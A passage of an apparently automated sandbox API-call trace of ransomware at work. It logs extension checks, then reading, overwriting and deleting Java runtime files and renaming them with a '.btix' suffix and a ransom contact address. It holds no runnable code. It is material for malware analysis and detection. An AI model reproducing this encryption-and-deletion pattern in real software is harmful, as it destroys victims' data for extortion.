(lpString1=".zip", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".rar") returned 4 [0152.342] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".bz2") returned 4 [0152.342] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".7z") returned 3 [0152.342] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString=".dbf") returned 4 [0152.342] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString=".1cd") returned 4 [0152.342] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString=".jpg") returned 4 [0152.342] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString=".doc") returned 4 [0152.342] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".docx") returned 5 [0152.342] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.342] lstrlenW (lpString=".pdf") returned 4 [0152.342] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".xls") returned 4 [0152.342] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".xlsx") returned 5 [0152.342] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.342] lstrlenW (lpString=".ppt") returned 4 [0152.342] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.342] lstrlenW (lpString=".zip") returned 4 [0152.342] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.342] lstrlenW (lpString=".rar") returned 4 [0152.343] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.343] lstrlenW (lpString=".bz2") returned 4 [0152.343] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.343] lstrlenW (lpString=".7z") returned 3 [0152.343] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.343] lstrlenW (lpString=".dbf") returned 4 [0152.343] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.343] lstrlenW (lpString=".1cd") returned 4 [0152.343] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0152.343] lstrlenW (lpString=".jpg") returned 4 [0152.343] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.343] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0152.343] lstrlenW (lpString="deploy.jar") returned 10 [0152.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.343] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=5040094) returned 1 [0152.343] CloseHandle (hObject=0x35c) returned 1 [0152.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0152.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0152.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0152.344] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0152.344] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.737] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0152.737] ReadFile (in: hFile=0x35c, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.754] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.754] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0152.754] ReadFile (in: hFile=0x35c, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.815] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.815] WriteFile (in: hFile=0x35c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc0100, lpOverlapped=0x0) returned 1 [0153.253] SetEndOfFile (hFile=0x35c) returned 1 [0153.253] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0153.257] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0153.257] WriteFile (in: hFile=0x35c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.258] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0153.258] WriteFile (in: hFile=0x35c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.260] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0153.260] WriteFile (in: hFile=0x35c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.262] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.262] CloseHandle (hObject=0x35c) returned 1 [0153.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.262] lstrlenW (lpString=".doc") returned 4 [0153.262] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.262] lstrlenW (lpString=".docx") returned 5 [0153.263] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0153.263] lstrlenW (lpString=".pdf") returned 4 [0153.263] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString=".xls") returned 4 [0153.263] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString=".xlsx") returned 5 [0153.263] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0153.263] lstrlenW (lpString=".ppt") returned 4 [0153.263] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString=".zip") returned 4 [0153.263] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString=".rar") returned 4 [0153.263] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString=".bz2") returned 4 [0153.263] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.263] lstrlenW (lpString=".7z") returned 3 [0153.263] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString=".dbf") returned 4 [0153.263] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString=".1cd") returned 4 [0153.263] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString=".jpg") returned 4 [0153.263] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.263] lstrlenW (lpString=".doc") returned 4 [0153.263] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.263] lstrlenW (lpString=".docx") returned 5 [0153.263] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0153.263] lstrlenW (lpString=".pdf") returned 4 [0153.264] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.264] lstrlenW (lpString=".xls") returned 4 [0153.264] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.264] lstrlenW (lpString=".xlsx") returned 5 [0153.264] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0153.264] lstrlenW (lpString=".ppt") returned 4 [0153.264] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.264] lstrlenW (lpString=".zip") returned 4 [0153.264] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.264] lstrlenW (lpString=".rar") returned 4 [0153.264] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.264] lstrlenW (lpString=".bz2") returned 4 [0153.264] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.264] lstrlenW (lpString=".7z") returned 3 [0153.264] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.264] lstrlenW (lpString=".dbf") returned 4 [0153.264] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.264] lstrlenW (lpString=".1cd") returned 4 [0153.264] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0153.264] lstrlenW (lpString=".jpg") returned 4 [0153.264] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.264] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.264] lstrlenW (lpString="zipfs.jar") returned 9 [0153.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0153.265] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=68924) returned 1 [0153.265] CloseHandle (hObject=0x35c) returned 1 [0153.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0153.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0153.602] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.602] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0153.612] GetLastError () returned 0x0 [0153.612] ReadFile (in: hFile=0x354, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x10d3c, lpOverlapped=0x0) returned 1 [0153.613] WriteFile (in: hFile=0x34c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x10d40, lpOverlapped=0x0) returned 1 [0153.615] ReadFile (in: hFile=0x354, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.615] WriteFile (in: hFile=0x34c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0153.615] SetEndOfFile (hFile=0x34c) returned 1 [0153.615] CloseHandle (hObject=0x34c) returned 1 [0153.615] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.615] SetEndOfFile (hFile=0x354) returned 1 [0153.617] CloseHandle (hObject=0x354) returned 1 [0153.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.303] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0154.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.304] lstrlenW (lpString=".doc") returned 4 [0154.304] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.304] lstrlenW (lpString=".docx") returned 5 [0154.304] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0154.304] lstrlenW (lpString=".pdf") returned 4 [0154.304] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.304] lstrlenW (lpString=".xls") returned 4 [0154.304] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.304] lstrlenW (lpString=".xlsx") returned 5 [0154.304] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0154.304] lstrlenW (lpString=".ppt") returned 4 [0154.304] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.304] lstrlenW (lpString=".zip") returned 4 [0154.304] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.304] lstrlenW (lpString=".rar") returned 4 [0154.304] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.304] lstrlenW (lpString=".bz2") returned 4 [0154.304] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.305] lstrlenW (lpString=".7z") returned 3 [0154.305] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString=".dbf") returned 4 [0154.305] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString=".1cd") returned 4 [0154.305] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString=".jpg") returned 4 [0154.305] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString=".doc") returned 4 [0154.305] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.305] lstrlenW (lpString=".docx") returned 5 [0154.305] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0154.305] lstrlenW (lpString=".pdf") returned 4 [0154.305] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString=".xls") returned 4 [0154.305] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString=".xlsx") returned 5 [0154.305] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0154.305] lstrlenW (lpString=".ppt") returned 4 [0154.305] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.305] lstrlenW (lpString=".zip") returned 4 [0154.305] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString=".rar") returned 4 [0154.305] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.305] lstrlenW (lpString=".bz2") returned 4 [0154.305] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.305] lstrlenW (lpString=".7z") returned 3 [0154.306] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.306] lstrlenW (lpString=".dbf") returned 4 [0154.306] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.306] lstrlenW (lpString=".1cd") returned 4 [0154.306] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0154.306] lstrlenW (lpString=".jpg") returned 4 [0154.306] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.306] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.306] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0154.306] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.306] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=698236) returned 1 [0154.306] CloseHandle (hObject=0x398) returned 1 [0154.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0154.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.306] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.307] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.307] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.307] GetLastError () returned 0x0 [0154.307] ReadFile (in: hFile=0x398, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0154.317] WriteFile (in: hFile=0x36c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xaa780, lpOverlapped=0x0) returned 1 [0154.327] ReadFile (in: hFile=0x398, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.327] WriteFile (in: hFile=0x36c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xfe, lpOverlapped=0x0) returned 1 [0154.327] SetEndOfFile (hFile=0x36c) returned 1 [0154.327] CloseHandle (hObject=0x36c) returned 1 [0154.327] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.327] SetEndOfFile (hFile=0x398) returned 1 [0154.332] CloseHandle (hObject=0x398) returned 1 [0154.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.333] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0154.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.333] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0154.333] lstrlenW (lpString=".doc") returned 4 [0154.333] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.333] lstrlenW (lpString=".docx") returned 5 [0154.333] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.333] lstrlenW (lpString=".pdf") returned 4 [0154.333] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") 